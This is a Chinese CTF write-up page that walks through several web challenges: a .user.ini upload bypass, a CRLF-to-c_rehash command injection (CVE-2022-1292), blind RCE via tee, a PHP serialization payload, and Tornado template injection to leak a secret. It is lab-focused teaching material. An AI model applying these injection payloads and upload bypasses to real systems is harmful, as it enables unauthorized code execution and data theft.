NSSCTF第14页(1)

[suctf 2019]checkin

利用了几种方式,发现都不行

1是修改mime类型,2是修改php标签为js标签,3是修改文件后缀

在试试用配置文件来上传

发现上传.user.ini文件成功

发现上传成功

上传的png图片

 访问上传路径发现可以访问,上马成功

ls /

cat /flag

[CISCN 2022 初赛]online_crt 

看标签是一个cve漏洞

CVE-2022-1292的分析 - 先知社区

扫后台扫出来一个网页

[CISCN 2022 初赛]online_crt__rev1ve的博客-CSDN博客

 给了源码附件

app.py源码

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('
', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

gpt的解释

此代码似乎是定义 Flask Web 应用程序的 Python 脚本。让我们来看看主要组件及其功能:

  1. 导入语句:该脚本导入其功能所需的多个模块和包,包括 、 、 、 、 和 。datetimejsonossocketuuidcryptographyFlask

  2. Flask 应用程序设置:使用 创建 Flask 应用程序的实例,并使用 设置应用程序的密钥。Flask(__name__)app.config['SECRET_KEY']

  3. get_crt函数:此函数根据提供的输入参数生成 X.509 证书(SSL/TLS 证书)。它使用该库生成私钥、生成证书并将其保存到文件中。返回生成的证书的文件路径。cryptography

  4. 路由定义:

    • '/':此路由与应用程序的根 URL 相关联。它使用 呈现名为“index.html”的 HTML 模板。render_template
    • '/getcrt':此路由与 URL 路径“/getcrt”相关联,并接受 GET 和 POST 请求。它从请求(国家/地区、省、市、组织名称、公用名、电子邮件地址)中检索表单数据,并使用提供的数据调用函数。然后,将 的返回值作为响应返回。get_crtget_crt
    • '/createlink':此路由与 URL 路径“/createlink”相关联,并接受 GET 请求。它会生成一个 JSON 响应,其中包含有关“static/crt/”目录中生成的证书文件的信息。
    • '/proxy':此路由与 URL 路径“/proxy”相关联,并接受 GET 请求。它从请求中检索 URI 参数,并在端口 8887 上与 localhost 服务器建立套接字连接。它向指定的 URI 发送 HTTP GET 请求,并将接收到的数据作为响应返回。
  5. app.run():此方法启动 Flask 开发服务器,允许应用程序侦听所有网络接口 (host=“0.0.0.0”) 和端口 8888 上的传入请求。

总之,此脚本定义了一个 Flask Web 应用程序,该应用程序提供用于生成 X.509 证书、呈现 HTML 模板以及充当代理服务器以向指定 URI 发出 HTTP 请求的功能。

分析一下,采用的是flask模板,总计4个路由

    /根目录返回一个index.htmld的界面,也就是我们开题看到的界面
    /getcrt路由配合getcrt函数用来生成X509证书(了解一下就行,它会根据我们提交的信息创建一个.crt的证书文件,存入static/crt/目录下)
    /createlink路由,用来建立一个与我们刚才生成的.crt证书的链接,去访问它的内容
    /proxy路由,用来建立一个内网 8887端口的连接,与go源码部分进行对接,并将发送一段请求信息给go源码的部分进行处理

go源码

package main

import (

    "github.com/gin-gonic/gin"

    "os"

    "strings"

)

func admin(c *gin.Context) {

    staticPath := "/app/static/crt/"

    oldname := c.DefaultQuery("oldname", "")

    newname := c.DefaultQuery("newname", "")

    if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {

        c.String(500, "error")

        return

    }

    if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {

        err := os.Rename(staticPath+oldname, staticPath+newname)

        if err != nil {

            return

        }

        c.String(200, newname)

        return

    }

    c.String(200, "no")

}

func index(c *gin.Context) {

    c.String(200, "hello world")

}

func main() {

    router := gin.Default()

    router.GET("/", index)

    router.GET("/admin/rename", admin)

    if err := router.Run(":8887"); err != nil {

        panic(err)

    }

}

这一段代码比较重要的就是只要绕过if语句就可以修改我们指定的.crt后缀的证书文件名 

第一个判断直接将路径中的/替换为%2f即可通过,第二个要求HOST为admin 

本题漏洞
出在/createlink这个路由下的c_rehash指令,c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接,是当用户可控文件名时的命令注入 

 在openssl中的c_rehash存在命令注入, 允许以c_reash脚本的权限执行命令

访问/getcrt生成一个证书 9eaf2906-aea8-4bf7-9d5f-14c266c18856.crt

 然后通过访问 /proxy路由来打通与内容 go源码业务部分的连接,修改我们的证书文件名,并加上我们的命令执行RCE
payload生效的内容是在同目录下生成一个flag.txt文件并向flag.txt文件写入我们 cat /*的结果

uri是被直接拼接进去的,因此存在CRLF漏洞,我们就可以篡改HOST为admin从而满足go server修改文件名的要求。

CRLF注入漏洞、URL重定向、资源处理拒绝服务详细介绍(附实例)_crlf漏洞_ranzi.的博客-CSDN博客

CRLF注入漏洞(响应截断)攻击实战_crlf漏洞_归去来兮-zangcc的博客-CSDN博客

访问/proxy,同时抓包修改请求方式为GET以及在uri参数后回车两次

抓get包,然后利用bp改成post,最后再手改为get请求,发送

访问/createlink路由,执行 c_rehash命令,进而触发命令执行,使payload生效

payload生效的内容是在同目录下生成一个flag.txt文件并向flag.txt文件写入我们 cat /*的结果

访问同目录static/crt/flag.txt 拿到flag信息 

[SWPUCTF 2023 秋季新生赛]RCE-PLUS 

题目提示是无回显的rce,之前做就是用tee命令写入文件

?cmd=ls / | tee 1.txt 

?cmd=cat /fl\ag | tee 1.txt 

 [CISCN 2023 华北]ez_date

代码审计

定义了公共变量a,b,file

a不等于b但是a,b的MD5和sha1值相等;如果为true,那么将file值传入date函数并赋值给变量content;使用 uniqid() 生成一个唯一的标识符,并将其与 .txt 扩展名拼接为文件名,赋值给变量 $uuid;最后就是进行正则匹配,读取文件 

preg_replace('/((\s)*(\n)+(\s)*)/i', '', $data):此函数对字符串执行正则表达式替换。使用的正则表达式模式是 ,它匹配空格字符和换行符的任意组合。替换参数是一个空字符串,这意味着匹配的模式将被替换为任何内容(即删除)。$data'/((\s)*(\n)+(\s)*)/i'''

<?php

class date{
    public $a;
    public $b;
    public $file;
}

$A=new date();
$A->a=1;
$A->b='1';
$A->file='/f\l\a\g';
echo base64_encode(serialize($A));
?>

得到flag

[护网杯 2018]easy_tornado 

点flag.txtc出现了flag的文件

hint.txt

welcome.txt

查了资料之后才想起来

Tornado模板注入 - 先知社区

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

url形如 :http://35848a5d-982a-45c9-a772-1b59e317746f.node3.buuoj.cn/file?filename=/flag.txt&filehash=32c8987c242bb2c5f0b0da175550dab6

根据提示应该payload应该是file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename)),因此现在需要找到cookie_secret

将filename替换为/fllllllllllllag 后发现报错,修改/error?msg=Error错误信息中的msg页面也跟着变
 

 根据render提示应该是模板注入,但存在过滤,ORZ

这里用到的是handler.setting对象

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings

传递error?msg={{ handler.settings }}得到:

 得到secret后,就是计算访问flag文件的hash,获取flag

cookie_secret=eb535b6a-633c-4b3d-a321-8d1637396e1d

脚本:

import hashlib

s1=(hashlib.md5("/fllllllllllllag".encode())).hexdigest()
print((hashlib.md5(("eb535b6a-633c-4b3d-a321-8d1637396e1d"+s1).encode())).hexdigest())

得到hash值

访问flag文件,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/202654.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

「Verilog学习笔记」状态机-非重叠的序列检测

专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点&#xff0c;刷题网站用的是牛客网 根据题意 定义一个五位的中间变量lock 每次始终上升沿来临时 判断当前寄存器的低四位新数据是否等于10111 如果等于 则下一时刻lock应被清空 否则lock等于当前的lock的低四…

windows+deepin v23 linux 双系统 安装前后 与 删除后 的硬盘efi分区情况,deepin v23 beta2的一些体验

知乎版&#xff1a;https://zhuanlan.zhihu.com/p/669429404 windows下安装deepin v23 beta2 电脑8GB内存&#xff0c;一个256GB固态硬盘&#xff0c;已经安装windows11。 安装双系统前分区情况&#xff1a;主要包含 windows EFI分区 和 系统分区&#xff0c;并预留了64GB给d…

【产品经理】AI在SaaS产品中的应用及挑战

随着ChatGPT大模型在全球的爆火&#xff0c;AI迅速在各个行业内&#xff0c;助力于各行业的效率提升。而SaaS领域&#xff0c;AI同样也大有可为。 AI&#xff08;人工智能&#xff0c;Artificial Intelligence的缩写&#xff09;近一年来一直处于舆论风口&#xff0c;随着ChatG…

nacos配置变更导致logback日志异常

问题背景: 线上的服务突然内存爆满&#xff0c;查服务器突然发现&#xff0c;日志全部打印到了/tmp/tomcat.xxx.port目录下&#xff0c;后来对应操作时间&#xff0c;和nacos修改配置是同一时间发生的&#xff0c;但是疑惑的点是&#xff0c;nacos配置变更为什么会引起logback的…

Git 是一种分布式版本控制系统常用指令

Git 是一种分布式版本控制系统&#xff0c;用于跟踪文件的变化并协同多人在同一个项目中进行开发。以下是一些常用的 Git 指令和它们的使用介绍&#xff1a; 1. 初始化一个新仓库 git init 用途&#xff1a;在当前目录初始化一个新的 Git 仓库。使用&#xff1a;在项目根目录执…

BLIoTLink软网关,一键解决OT层与IT层的通信

在工业自动化领域&#xff0c;协议转换一直是一个重要的问题。不同的设备、系统往往使用不同的通信协议&#xff0c;这给数据采集、设备接入等带来很大的困扰。为了解决这个问题&#xff0c;各种协议转换软件应运而生。其中&#xff0c;BLIoTLink作为一款功能强大的嵌入式工业协…

动态规划:解决复杂问题的利器(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

量子计算:探索未来的计算技术

量子计算:探索未来的计算技术 引言 在过去的几十年里,我们见证了计算机技术从简单的计算和存储发展到复杂的数据处理和人工智能的飞速进步。然而,随着我们进一步探索科技的前沿,传统的计算方法开始显示出其局限性。在这种情况下,量子计算——一种基于量子力学原理的新型计…

一文读懂Asyncio

什么是Asyncio asyncio 是用来编写并发代码的库&#xff0c;使用async/await语法。 asyncio 被用作多个提供高性能 Python 异步框架的基础&#xff0c;包括网络和网站服务&#xff0c;数据库连接库&#xff0c;分布式任务队列等等。 asyncio 往往是构建 IO 密集型和高层级结构化…

值得收藏的15 个好用的 iPad/iPhone 数据恢复工具

有时您需要从移动或平板设备恢复关键数据。 许多人已经开始在手机上存储重要文件&#xff0c;因为他们可以在旅途中或现在几乎在任何情况下轻松访问数据。 不言而喻; 您只需在手机上轻轻一按&#xff0c;即可轻松访问电子邮件、共享图片、编辑和共享文档、支付账单等。一般来…

《数据结构、算法与应用C++语言描述》-优先级队列-大根堆的C++实现

优先级队列 完整可编译运行代码见&#xff1a;Github::Data-Structures-Algorithms-and-Applications/_25Priority queue 定义 优先级队列&#xff08;priority queue&#xff09;是0个或多个元素的集合&#xff0c;每个元素都有一个优先权或值&#xff0c;对优先级队列执行…

智能监控平台/视频共享融合系统EasyCVR接入RTSP协议视频流无法播放原因是什么?

视频集中存储/云存储/视频监控管理平台EasyCVR能在复杂的网络环境中&#xff0c;将分散的各类视频资源进行统一汇聚、整合、集中管理&#xff0c;实现视频资源的鉴权管理、按需调阅、全网分发、智能分析等。AI智能/大数据视频分析EasyCVR平台已经广泛应用在工地、工厂、园区、楼…

华天动力-OA8000 MyHttpServlet 文件上传漏洞复现

0x01 产品简介 华天动力OA是一款将先进的管理思想、 管理模式和软件技术、网络技术相结合&#xff0c;为用户提供了低成本、 高效能的协同办公和管理平台。 0x02 漏洞概述 华天动力OA MyHttpServlet 存在任意文件上传漏洞&#xff0c;未经身份认证的攻击者可上传恶意的raq文件…

【前端系列】前端存档术之keep-alive

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

Kubernetes技术与架构-安全性

本文主要从不同层面与多个维度描述Kubernetes技术与架构的安全性。 云原生的安全性 从系统分层架构的角度分析&#xff0c;自底向上&#xff0c;云原生的安全性主要包括云、集群、容器以及代码四个层面&#xff0c;简称云原生4C安全&#xff0c;其架构图如下所示&#xff1a;…

万宾科技水环境综合治理监测系统的融合与应用

随着社会经济的快速发展&#xff0c;我国的水环境污染问题日益凸显&#xff0c;这不仅对生态环境造成了严重破坏&#xff0c;也严重威胁到人民群众的健康和生活质量。为了解决这一问题&#xff0c;城市生命线与水环境综合治理监测系统应运而生&#xff0c;二者的结合将为水环境…

【Linux】Linux中git的基本使用(三板斧)

&#x1f466;个人主页&#xff1a;Weraphael ✍&#x1f3fb;作者简介&#xff1a;目前正在学习c和Linux还有算法 ✈️专栏&#xff1a;Linux &#x1f40b; 希望大家多多支持&#xff0c;咱一起进步&#xff01;&#x1f601; 如果文章有啥瑕疵&#xff0c;希望大佬指点一二 …

MySQL 中的锁(一)

MySQL 中的锁 按照 MySQL 官方的说法&#xff0c;InnoDB 中锁可以分为&#xff1a; 可见&#xff0c;InnoDB 中锁非常多&#xff0c;总的来说&#xff0c;可以如下分类&#xff1a; 这些锁都是做什么的&#xff1f;具体含义是什么&#xff1f;我们现在来一一学习。 8.1. 解…

基于YOLOv8深度学习的生活垃圾分类目标检测系统【python源码+Pyqt5界面+数据集+训练代码】目标检测

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

数据结构-选择排序(简单选择、堆)

简单选择排序 基本思想 非常基础的算法&#xff0c;假设有N个数据&#xff0c;比较N-1轮&#xff0c;每轮选出当前剩余数据的最大&#xff08;最小&#xff09;放到数据 的开头&#xff0c;之后重复即可获得答案。 示例 代码 void SelectSort(OrderList *L) {RecordType t…